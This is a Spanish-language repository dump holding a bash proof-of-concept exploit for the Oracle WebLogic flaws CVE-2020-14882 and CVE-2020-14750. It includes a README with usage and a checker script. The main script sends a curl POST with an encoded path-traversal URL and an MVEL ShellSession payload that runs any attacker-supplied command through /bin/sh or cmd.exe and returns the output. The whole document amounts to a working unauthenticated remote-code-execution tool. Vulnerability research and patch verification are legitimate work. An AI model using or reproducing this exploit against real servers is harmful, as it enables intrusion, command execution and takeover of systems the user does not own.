├── CVE-2020-14750.png ├── CVE-2020-14750.sh ├── README.md └── test-CVE-2020-14750.sh /CVE-2020-14750.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pprietosanchez/CVE-2020-14750/fd6909e92b6eabae311405cd51afb9f85184e4e0/CVE-2020-14750.png -------------------------------------------------------------------------------- /CVE-2020-14750.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | ################################################### 4 | # CVE-2020-14882 # 5 | # CVE-2020-14750 # 6 | # Autor: Pedro Prieto Sanchez # 7 | # twitter: @PPrietoSanchez # 8 | # PoC de la vulnerabilidad de Oracle Weblogic con # 9 | # los codigos CVE anteriormente escritos # 10 | ################################################### 11 | 12 | if [ "$1" == "-h" ] || [ -z "$1" ] || [ -z "$2" ]; then 13 | echo "Modo de empleo: `basename $0` host:puerto comandoremoto 14 | Intenta explotar las vulnerabilidades CVE-2020-14882 y CVE-2020-14750 en el host especificado ejecutando el comando especificado" 15 | exit 0 16 | fi 17 | 18 | 19 | host=$1 20 | cmd=${@:2} 21 | 22 | curl -k -s -X POST \ 23 | -H "Host: $host" -H "cmd: $cmd" \ 24 | --data-binary $'\x0d\x0a_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(\"weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();\x0d\x0aweblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();\x0d\x0ajava.lang.reflect.Field field = adapter.getClass().getDeclaredField(\"connectionHandler\");\x0d\x0afield.setAccessible(true);\x0d\x0aObject obj = field.get(adapter);\x0d\x0aweblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod(\"getServletRequest\").invoke(obj);\x0d\x0aString cmd = req.getHeader(\"cmd\");\x0d\x0aString[] cmds = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[]{\"cmd.exe\", \"/c\", cmd} : new String[]{\"/bin/sh\", \"-c\", cmd};\x0d\x0aif (cmd != null) {\x0d\x0a String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter(\"\\\\A\").next();\x0d\x0a weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod(\"getResponse\").invoke(req);\x0d\x0a res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));\x0d\x0a res.getServletOutputStream().flush();\x0d\x0a res.getWriter().write(\"\");\x0d\x0a}executeThread.interrupt();\x0d\x0a\");' \ 25 | "http://$host/console/css/%252e%252e%252fconsole.portal" 26 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2020-14750 2 | PoC para las vulnerabilidades CVE-2020-14750 y cve-2020-14882 3 | 4 | Para probar si un sistema es vulnerable usar: 5 | 6 | ./test-CVE-2020-14750 nombredelhost:7001 7 | 8 | De momento, en esta versión, sólo garantiza si el host es vulnerable, si el resultado es negativo no es garantía de que no sea vulnerable, se implementará en siguientes versiones. 9 | Actualización, capaz de diferenciar por la respuesta obtenida si el host es vulnerable o que ha fallado la prueba 10 | 11 | Para su explotación debemos pasarle como primer parámetro el host, incluyendo el puerto en formato "host:puerto" y los siguientes parámetros el comando a ejecutar, por ejemplo "ifconfig lo" 12 | 13 | Es decir: 14 | 15 | ./CVE-2020-14750 nombredelhost:7001 ifconfig lo 16 | 17 | ![Ejemplo](CVE-2020-14750.png) 18 | 19 | 20 | El payload usado no es de mi autoría, he usado el publicado en https://github.com/jas502n/CVE-2020-14882 21 | 22 | Pedro Prieto Sánchez 23 | twitter: @PPrietoSanchez 24 | -------------------------------------------------------------------------------- /test-CVE-2020-14750.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | ################################################### 4 | # CVE-2020-14882 # 5 | # CVE-2020-14750 # 6 | # Autor: Pedro Prieto Sanchez # 7 | # twitter: @PPrietoSanchez # 8 | # PoC de la vulnerabilidad de Oracle Weblogic con # 9 | # los codigos CVE anteriormente escritos # 10 | ################################################### 11 | 12 | if [ "$1" == "-h" ] || [ -z "$1" ]; then 13 | echo "Modo de empleo: `basename $0` host:puerto comandoremoto 14 | Verifica las vulnerabilidades CVE-2020-14882 y CVE-2020-14750 en el host especificado 15 | NOTA: En esta versión, si no ha conseguido ejecutar la vulnerabilidad no significa necesariamente que no sea vulnerable, en futuras versiones se implementará completamente este método" 16 | exit 0 17 | fi 18 | 19 | 20 | host=$1 21 | 22 | resultado=$(./CVE-2020-14750.sh $1 echo hola) 23 | 24 | if [ "$resultado" == "hola" ]; then 25 | echo "Vulnerabilidad explotada correctamente. $host es VULNERABLE" 26 | elif [[ "$resultado" =~ "The server encountered an unexpected condition which prevented it from fulfilling the request" ]]; then 27 | echo "No se ha conseguido explotar la vulnerabilidad, por el tipo de respuesta obtenida de $host es posible que no sea vulnerable o que algo haya fallado" 28 | else 29 | echo "No se ha podido comprobar la vulnerabilidad, comprueba que $host es correcto y que es accesible" 30 | fi 31 | --------------------------------------------------------------------------------